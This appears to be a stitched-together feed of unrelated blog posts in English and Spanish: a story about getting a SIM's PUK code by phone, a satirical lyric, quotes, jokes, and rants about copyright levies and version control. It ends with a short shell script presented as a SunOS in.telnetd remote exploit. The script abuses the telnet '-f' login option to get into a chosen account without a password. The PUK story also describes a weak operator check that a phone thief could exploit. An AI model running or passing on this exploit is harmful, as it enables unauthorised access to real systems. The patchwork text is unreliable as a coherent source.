It seems my brother is not very good with numbers and managed to block his SIM card by mistyping the PIN code three times in a row. The card is quite old, he inherited it from me time ago and God knows where the proper documentation which came along with it was. In short, we were screwed without the PUK code.

When the card was bought, there wasn’t any active law demanding mobile operators to establish any link between the card and its owner. Given that, I told him it will be hard to get the PUK to unlock the card because most likely the customer service would suspect the card was stolen and its new evil owner was trying to use it. Anyway, why don’t give it a try?

Dialing 1485…

Me: Hello. My cellphone is locked, it is asking for a code in order to get itself unlocked.

Op: What code? PIN code?

Me: Well, no. It requests the PUK code.

Op: I see. Is it a prepaid card?

Me: It is.

Op: Ok, turn off the device, remove the battery, extract the SIM card and tell me the numbers printed on it.

Me: Well… the numbers are: 11111111111111.

Op: Ok, and your phone number is…?

Me: 622222222.

Op: Ok. Your PUK is: 333333333333333.

Me: Thanks.

Op: Thanks for calling. Have a nice day.

Thus anyone who knows your telephone number and wants to read you messages, copy your contact list or call for free only has to steal your phone. You may now start worrying even if the phone was off, the security codes don’t protect your privacy at all.

So Israel’s getting tense.
Wants one in self defense.
“The Lord’s our shepherd,” says the psalm,
But just in case, we better get a bomb.
Who’s next?

Mwhahaha!

Hahahahaha. Here.

I certainly love Boston Legal.

Seen here.

Adria — You will all burn in the fires of eternal DAMnation.
Morgan le Fay — Not if I have anything to do with it!

Stargate: The Ark of Truth (1:29:18)

“Scientists dream about doing great things. Engineers just do them.”

(American Cartoonist, b.1957) – adapted.

Fuente: Revista de TeleCable (Octubre)

Carlos, please be moderated with these pills, some people recommends sleep at least eight hours a day ;)

We’ve got a basic version, which is going to cost $129. We’ve got a premium version, which is gonna cost $129. We’ve got a business version, $129. We’ve got an enterprise version, $129. And we’ve got the ultimate version – we’re throwing everything into it: It’s $129. We think most people will buy the ultimate version.

That made me laugh for a while, didn’t you?

Hello? Is there anyone out there able to help us?

Just funny.

Nacho – Hola, ¿es usted el encargado de la sección de informática?
Dependiente – Sí, dígame.
Nacho – ¿podría usted decirme lo que me está robando la SGAE si me compro este producto?
Dependiente – ¿cómo dice?
Nacho – Me refiero a que quería saber el porcentaje de canon que se le aplica a estos DVDs.
Dependiente – Ese es un dato que no se si podré facilitarle, espere un momento.
[...]
Dependiente – No, mire, lo siento, pero no es posible saberlo.

Increíble, encima de que me roban, no puedo saber ni cuanto.

Obviamente no digo ni nombre, ni curso, ni titulación, ni incluso Universidad (aunque me imagino que supongais bien) ya que es lo que menos importa. También advierto que la cita no es literal, pero creo que para entendernos servirá:

No os aconsejo utilizar sistemas de SCM porque os van a complicar la vida, no vais a desarrollar bien, no seais tecnócratas.

Aún no puedo salir de mi asombro, que un profesor de Ingeniería del Software diga eso, sobre todo que “os van a complicar la vida” cuando el asunto es precisamente al revés. En mi opinión, ya me parece indispensable usarlos incluso desarrollando una persona sola, pero me parece un suicidio no utilizarlo cuando las personas en el grupo de trabajo son más de dos (como es el caso). Y no sólo lo pienso yo, lo piensa Debian, Google, Kernel.org, Lufthansa, NASA, CERN, CSC (¡Cualquier empresa con un equipo un poco decente lo usa todos los días!)… y no sólo empresas grandes, sino cualquier grupo de personas que intenten desarrollar algo juntos (sí, esa empresa en la que estás pensando también lo usa).

Sinceramente, me siento avergonzado de que se digan estas cosas en la Universidad. Sigan formando así Ingenieros, por algo seguimos en la cola de Europa.

Y tú, ¿todavía te pasas un .zip con tus compañeros?


#!/bin/sh
echo ""
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"
if [ $# -ne 2 ]; then
echo "./sunos HOST ACCOUNT"
echo "e.g.: ./sunos localhost bin"
exit
fi
telnet -l"-f$2" $1